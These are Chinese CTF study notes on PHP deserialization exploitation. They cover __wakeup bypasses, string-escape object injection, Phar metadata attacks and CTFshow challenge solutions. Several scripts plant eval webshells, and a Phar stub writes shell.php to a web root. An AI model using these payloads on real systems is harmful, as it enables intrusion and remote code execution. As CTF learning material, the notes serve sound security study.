php反序列化
魔术方法
_construct:实例化对象。$a = new C();
_destruct:对象被销毁/反序列化之后。
_sleep:序列化之前,返回需要序列化的参数,以数组的形式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| class Person { public $name; public $age; public function __construct($name, $age) { $this->name = $name; $this->age = $age; } public function __sleep() { return array('name', 'age'); } }
$person = new Person('张三', 20); $str = serialize($person); var_dump($str);
|
_wakeup:反序列化之前。
_unserialize:反序列化之前。
_toString:把对象当作 string 来调用(echo/print)。
_invoke:把对象当作函数来调用。
_clone:拷贝对象。
_call:调用一个不存在的方法。
_callStatic:调用不存在的方法/常量。C::functionABC()
_get:调用不存在的成员属性。
_set:给不存在的属性赋值。
_isset:给不存在/不可访问的属性使用 empty()/isset()。
_unset:给不存在/不可访问的属性使用 unset()(清空变量)。
bypassTricks
wakeup的绕过
绕过__wakeup() 反序列化 合集_绕过wakeup-CSDN博客
PHP 7.4.0+
当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize。
当__unserialize方法和__wakeup方法同时存在,反序列化忽略__wakeup方法而执行__unserialize。
PHP7<7.0.10 && PHP5<5.6.25

C/A代替O绕过
O -> C:但是里面不能有属性,只能执行 _destruct。
1 2 3 4 5 6 7 8 9 10 11
| <?php class ctfshow{ public $ctfshow="cat /f*"; } $a = new ArrayObject; $a -> a = new ctfshow; echo serialize($a);
|
数组绕过,也可以绕过 O -> A
但是对 php 版本有要求,要低版本的。
Fast Destruct 绕过
详见 Fast Destruct。
引用绕过
Fast Destruct
P1
在unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条。这种情况只需要破坏原先的字符串格式即可,比如去掉最后的大括号。
description:
1 2
| $temp = unserialize($_POST['data']); throw new Exception('What do you want to do?')
|
P2
通常执行顺序是从内向外的wakeup & 从外向内的destruct,Fast Destruct可以用来后置执行wakeup。
1 2 3
| unserialize('O:1:"A":1:{s:1:"b";O:1:"B":0:{};}'); unserialize('O:1:"A":1:{s:1:"b";O:1:"B":0:{}'); unserialize('O:1:"A":2:{s:1:"b";O:1:"B":0:{}}');
|

可以看到__wakeup被放到后面执行了,也就是__destruct()函数被提前执行了
关键词绕过
preg_match('/^O:\d+/')绕过
数字前加加号。
进制绕过
表示字符类型的s大写时,会被当成16进制解析。
1
| $a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
|
__PHP__Incomplete_Class 绕过
详见下文。
__PHP_Incomplete_Class的tricks
例题:【Web】LilCTF2025 WP(随便看看-CSDN博客
绕过 serialize(unserialize(x))!=x
serialize() 函数对 __PHP_Incomplete_Class 对象执行了如下 特殊操作:
将 __PHP_Incomplete_Class 对象中的属性个数减一 并将其作为序列化文本中 对实际对象属性个数的描述值。
将 __PHP_Incomplete_Class 对象的 __PHP_Incomplete_Class_Name 作为序列化文本中 对象所属类的描述值。若未从 __PHP_Incomplete_Class 对象 中检查到 __PHP_Incomplete_Class_Name 属性,则跳过此步。
将 __PHP_Incomplete_Class 对象的序列化文本中对 __PHP_Incomplete_Class_Name 属性的描述删去。若没有发现相关描述,则跳过此步。
1 2 3 4 5 6
| <?php var_dump(serialize(unserialize('O:22:"__PHP_Incomplete_Class":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}')));
2-1=1
|
绕法:
1 2 3 4 5 6
| <?php var_dump(serialize(unserialize('O:22:"__PHP_Incomplete_Class":3:{s:27:"__PHP_Incomplete_Class_Name";s:7:"MyClass";s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}')));
|
绕过关键词检测
如果不指定__PHP_Incomplete_Class_Name的话,那么__PHP_Incomplete_Class类下的变量在序列化再反序列化之后就会消失,从而绕过某些关键字。
绕过匹配反序列化数组
数组字母键名绕过 i 匹配
1 2 3 4 5 6 7 8
| class A{ public $a = "12345"; public function __destruct(){ echo "destruct is calling"; } } $b = ["a"=>new A(),"b"=>"b"]; echo serialize($b);
|
用 stdclass 绕过
1
| var_dump(unserialize('O:8:"stdClass":2:{s:1:"a";O:1:"A":1:{s:1:"a";s:5:"12345";}s:1:"b";s:1:"b";}'));
|
SplStack绕过正则匹配
1 2 3
| $d = new SplStack(); $d ->push($a); echo serialize($d);
|
序列化闭包
DASCTF2022.07赋能赛Web赛后WP - 枫のBlog
对于 php,配置好 composer.json 文件之后,可以通过composer install来下载第三方依赖。其中各种第三方依赖以及插件都会被自动放置在vendor文件夹下,我们可以通过包含vendor/autoload.php文件来自动引入所需依赖文件。
在 PHP5.3 之后,引入了函数闭包这个语法(又称匿名函数)。通过闭包我们能够声明一个没有名字的函数,并将其赋值给一个变量。我们也可以通过回调函数来调用闭包。
普通反序列化:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php
$func = function($b){ return $b**$b; };
try{ $s = serialize($func); var_dump($s); }catch (Exception $e){ echo $e; }
|

可见这里闭包就是一个 Closure 类并且不能被序列化,需要用 \Opis\Closure\ 中的 serialize,会将原本的Closure类包装成Opis\Closure\SerializableClosure类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php include("vendor/autoload.php");
$func = function(){ system("whoami"); return 0; };
try{ $s = \Opis\Closure\serialize($func); $s=unserialize($s); call_user_func($s); $s(); var_dump($s); }catch (Exception $e){ echo $e; }
|
反序列化引用其他文件中的类
如果当前反序列化后当前php文件没有该类,会报Notice Error,反序列化失败。
这时候需要借助spl_autoload_register进行autoload
1 2 3 4
| function myAutoLoader($classname){ include_once $classname.".php"; } spl_autoload_register("myAutoloader");
|
将函数注册到SPL __autoload函数队列中。如果该队列中的函数尚未激活,则激活它们。
CTFshow
web254
payload:?username=xxxxxx&password=xxxxxx
web255
不二次赋值的按照原参数的值。
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class ctfShowUser{
public $isVip = true; public $username = "xxxxxx"; public $password = "xxxxxx"; } $C = new ctfShowUser(); echo serialize($C); $S = 'O:11:"ctfShowUser":3:{s:5:"isVip";b:1;s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"yyyyyy";}'; $CC = unserialize($S); print_r($CC); $S = 'O:11:"ctfShowUser":2:{s:5:"isVip";b:1;s:8:"username";s:6:"xxxxxx";}'; $CC = unserialize($S); print_r($CC); ?>
|
web256
username 不等于 password 就好。
web257
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php
class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = "info";
public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ private $code = "system('cat flag.php');"; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
$a = serialize(new ctfShowUser()); echo $a; echo "<br>"; $a = urlencode($a); echo $a;
|
web258
1
| $a = str_replace("O:","O:+",$a);
|
web260
字符串被反序列化后仍是本身。
cftshow=ctfshow_i_love_36D
web261
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
class ctfshowvip{ public $username; public $password; public $code;
public function __construct(){ $this->username="877.php"; $this->password="<?php eval(\$_GET[1]);?>"; }
}
$a = serialize(new ctfshowvip()); echo $a; $a = urlencode($a); echo "<br>"; echo $a; ?>
|
记得 \_$GET[1] 加转义。
web262
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
class message{ public $from; public $msg; public $to; public $token='admin'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } }
$a = base64_encode(serialize(new message("","",""))); echo $a;
|
web263
前置知识
session 反序列化
php:键名|序列化后的值(默认的是这样的)
php_serialize:经过序列化后得数组。
php_binary:键名长度对应的 ascii 字符 + 键名 + 序列化后的值。
常常用带 | 分割,使得前面是键名,后面是序列化后的值,使得进行反序列化,从而调用魔术方法。
Session 区分原理
Session 常常存储在 tmp 目录下以 PHPSESSID=XXXXXXXXXXX 的 cookie 值做区分,因而提交时务必先获取 cookie ,从而存储 COOKIE 中字段为 Session ,产生反序列化。
如本题代码:
1 2 3 4 5 6 7
| if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; }
|
inc.php中有一句ini_set('session.serialize_handler', 'php');
所以大胆猜测 php.ini 中配置的处理器应该是 php_serialize 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } }
$a = "|".serialize(new User("8.php","<?php eval(\$_GET[1]);?>")); echo $a; echo "<br>"; $a = base64_encode($a); echo $a;
|
先访问 index.php 获取 PHPSESSID,再通过 PHPSESSID 和 LIMIT 字段构建存储,最后调用 /inc/inc.php ,来实现反序列化,写马。
web264
字符串逃逸增多
$umsg = str_replace('fuck', 'loveU', serialize($msg));
字符串在增加,那么我们只需要把一部分嵌入进去,然后替换时字符增加,自动把 loveU 顶上去,导致这个属性结束,从而往下解析,得到结果。
举个例子:
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
在这里,to 属性的值就是长度为 27(后面挤出来的部分:";s:5:"token";s:5:"admin";}) + 108(fuck * 36)= 135。
这样我们在替换后就变成:
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:136:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";},此时恰好在 loveU 后闭合,后面按照预期解析,完成字符串逃逸,最后那些解析结束,自动舍去。
payload:
https://06c54ed8-ba7a-44d4-abab-67a59fed63b2.challenge.ctf.show/?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22%3Bs%3A5%3A%22token%22%3Bs%3A5%3A%22admin%22%3B%7D。
字符串逃逸减少
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php function filter($name){ return str_replace("flag","hk",$name); } class test{ var $user; var $pass; var $vip = false; function __construct($a,$b){ $this->user = $a; $this->pass = $b; } } $str1 = "flagflagflagflagflagflagflagflagflagflag"; $str2 = "xxxx"; $parm= serialize(new test($str1,$str2)); echo $parm."<br>"; $parm = filter($parm); echo $parm."<br>"; $c = unserialize('O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:23:"1";s:4:"pass";s:4:"xxxx";s:3:"vip";b:0;}'); var_dump($c);
|
这里我们发现 flag 被替换为了 hk ,少了两个字符。我们先看一下两个 flag 的输出。
1 2
| O:4:"test":3:{s:4:"user";s:4:"xxxx";s:4:"pass";s:8:"flagflag";s:3:"vip";b:0;} O:4:"test":3:{s:4:"user";s:4:"xxxx";s:4:"pass";s:8:"hkhk";s:3:"vip";b:0;}
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| O:4:"test":3:{s:4:"user";s:16:"hkhkhkhk";s:4:"pass";s:xx:"xxxx";s:3:"vip";b:0;}
要逃逸的字符串:
";s:4:"pass";s:xx:"
19,所以至少需要10个fuck
O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:xx:"xxxx";s:3:"vip";b:0;}
我们把 xxxx 替换为 1";s:4:"pass";s:4:"xxxx
O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:xx:"1";s:4:"pass";s:4:"xxxx";s:3:"vip";b:0;}
填好对应长度
O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:23:"1";s:4:"pass";s:4:"xxxx";s:3:"vip";b:0;}
|
此时得到答案:
1 2
| $str1 = "flagflagflagflagflagflagflagflagflagflag"; $str2 = '1";s:4:"pass";s:4:"xxxx';
|
字符串逃逸例题
先放源码吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php require_once('lib.php'); echo '<html> <meta charset="utf-8"> <title>update</title> <h2>这是一个未完成的页面,上线时建议删除本页面</h2> </html>'; if ($_SESSION['login']!=1){ echo "你还没有登陆呢!"; } $users=new User(); $users->update(); if($_SESSION['login']===1){ require_once("flag.php"); echo $flag; }
?>
|
这里明显看到有逻辑问题,没登录的话就 die 掉了,但是实际上他只 echo 了一下就向下执行了,这不得不就往里看看了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119
| <?php error_reporting(error_level: 0); session_start(); function safe($parm){ $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter"); return str_replace($array,'hacker',$parm); } class User { public $id; public $age=null; public $nickname=null; public function login() { if(isset($_POST['username'])&&isset($_POST['password'])){ $mysqli=new dbCtrl(); $this->id=$mysqli->login('select id,password from user where username=?'); if($this->id){ $_SESSION['id']=$this->id; $_SESSION['login']=1; echo "你的ID是".$_SESSION['id']; echo "你好!".$_SESSION['token']; echo "<script>window.location.href='./update.php'</script>"; return $this->id; } } } public function update(){ $Info=unserialize($this->getNewinfo()); $age=$Info->age; $nickname=$Info->nickname; $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']); } public function getNewInfo(){ $age=$_POST['age']; $nickname=$_POST['nickname']; return safe(serialize(new Info($age,$nickname))); } public function __destruct(){ return file_get_contents($this->nickname); } public function __toString() { $this->nickname->update($this->age); return "0-0"; } } class Info{ public $age; public $nickname; public $CtrlCase; public function __construct($age,$nickname){ $this->age=$age; $this->nickname=$nickname; } public function __call($name,$argument){ echo $this->CtrlCase->login($argument[0]); } } Class UpdateHelper{ public $id; public $newinfo; public $sql; public function __construct($newInfo,$sql){ $newInfo=unserialize($newInfo); $upDate=new dbCtrl(); } public function __destruct() { echo $this->sql; } } class dbCtrl { public $hostname="127.0.0.1"; public $dbuser="noob123"; public $dbpass="noob123"; public $database="noob123"; public $name; public $password; public $mysqli; public $token; public function __construct() { $this->name=$_POST['username']; $this->password=$_POST['password']; $this->token=$_SESSION['token']; } public function login($sql) { $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database); if ($this->mysqli->connect_error) { die("连接失败,错误:" . $this->mysqli->connect_error); } $result=$this->mysqli->prepare($sql); $result->bind_param('s', $this->name); $result->execute(); $result->bind_result($idResult, $passwordResult); $result->fetch(); $result->close(); if ($this->token=='admin') { return $idResult; } if (!$idResult) { echo('用户不存在!'); return false; } if (md5($this->password)!==$passwordResult) { echo('密码错误!'); return false; } $_SESSION['token']=$this->name; return $idResult; } public function update($sql) { } }
|
哦看到了一个序列化 加 反序列化,还有 filter,显然字符串逃逸,但是这个逃逸不是逃逸出来一个之前那种字符串属性,而是逃逸出来一个类。
那就很简单了,增多减少肯定选增多,那就用 union 逃逸就完了。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
function filter($parm){ $array= array('union','regexp','load','into','file','insert',"'",'\\',"*","alter"); return str_replace($array,'hacker',$parm); }
class C1{ public $arg1; public function __construct($arg1){ $this->arg1 = $arg1; }
public function __destruct(){ echo "destruct is doing things.".PHP_EOL; } }
class C2{ public $arg1; public $arg2; }
$c2 = new C2();
for ($i = 1; $i <= 53; $i++) { $c2->arg1 .= "union"; }
$c2->arg1 .= '";s:4:"arg2";O:2:"C1":1:{s:4:"arg1";s:8:"flag.php";}}'; $c2->arg2 = "qwqqwq"; $c2s = serialize($c2); echo $c2s.PHP_EOL; $c2s = filter($c2s); echo $c2s.PHP_EOL;
$c2su = unserialize($c2s);
var_dump($c2su);
|
web265
地址传参:
$C->token = &$C->password;。
token 跟随 password 改变。
web266
payload:O:7:"ctfshow":2:{s:8:"username";s:2:"xx";s:8:"password";s:22:"xx";}。
类名正确但是解析失败的情况下会调用该类名下的 _destruct 方法。
GC回收机制
类似于:每个变量在内存中都有一个引用计数器,每当有变量引用该内存块时,计数器加一;当变量不再引用时,计数器减一。当计数器变为0时,该内存块被释放。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class gc{ public $num; public function __construct($num) { $this->num=$num; echo "construct(".$num.")"."\n"; } public function __destruct() { echo "destruct(".$this->num.")"."\n"; } } new gc(1); $b=new gc(2); new gc(4); $c=new gc(3);
|
下面代码,可以看到第一个gc对象,创建完就被回收了,因为没被其它变量引用,它的refcount一开始就是0,而其他,到最后执行结束,先实例化的后 destruct。
最后结果:
1 2 3 4 5 6 7 8
| construct(1) destruct(1) construct(2) construct(4) destruct(4) construct(3) destruct(3) destruct(2)
|
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php class RELFLAG { public function __construct() { global $flag; $flag = 0; $flag++; echo "Constructor called " . $flag . "<br>"; } public function __destruct() { global $flag; $flag++; echo "Destructor called " . $flag . "<br>"; } } function check(){ global $flag; if($flag > 5){ echo "HelloCTF{???}"; }else{ echo "Check Detected flag is ". $flag; } } if (isset($_POST['code'])) { eval($_POST['code']); check(); }
|
我们为了避免多次触发 construct 方法,并且多次触发 destruct 方法,我们实例化但是不赋值,因而它自己 construct 再 destruct 之后,只会触发 destruct 方法,造成 flag>5。
payload: unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));
Phar反序列化
组成部分
头文件
mainfest 这里存在序列化后的子字符串。
内容
签名
phar使用条件
伪协议 phar://xxx(文件名)
phar 文件能上传到服务端,不要求后缀,识别时按照头文件信息识别。
反序列化能触发的魔术方法:_destruct/_wakeup
存在文件操作函数 file_exists,fopen,file_get_contents

phar生成代码
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class TestObject{ } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $o = new TestObject(); $o->name="hacker"; $phar->setMetadata($o); $phar->addFromString("exp.txt","exp"); $phar->stopBuffering(); ?>
|
过头文件检测方法
1 2 3 4 5 6 7 8
| import gzip
with open('phar.phar', 'rb') as file: f = file.read()
newf = gzip.compress(f) with open('aaaaa.png', 'wb') as file: file.write(newf)
|


附上本地测试环境代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php
class TestObject{ var $S; function __destruct(){ eval($this->S); } function __wakeup(){ eval($this->S); } }
$C = var_dump(file_exists("phar://aaaaa.png"));
<?php class TestObject{ var $S; function __construct(){ $this->S = 'system("whoami");'; } function __destruct(){ eval($S); } } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $o = new TestObject(); var_dump($o); $phar->setMetadata($o); $phar->addFromString("exp.txt","exp"); $phar->stopBuffering(); ?>
|
include 配合 phar 进行 RCE
include 函数会判断文件是否能包含 .phar (不一定是后缀),如果包含且是压缩包,会进行解压,从而找到 php 代码进行 RCE。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php $phar = new Phar('exploit.phar'); $phar->startBuffering(); $stub = <<<'STUB' <?php system('echo "<?php eval(\$_POST[1]);?>" > /var/www/html/shell.php'); __HALT_COMPILER(); ?> STUB; $phar->setStub($stub); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); ?>
gzip exploit.phar
|
修改 phar 内容后重新签名
1 2 3 4 5 6 7
| from hashlib import sha1
f = open('phar.phar', 'rb').read() s = f[:-28] h = f[-8:] newf = s+sha1(s).digest()+h open('fixed_phar.phar', 'wb').write(newf)
|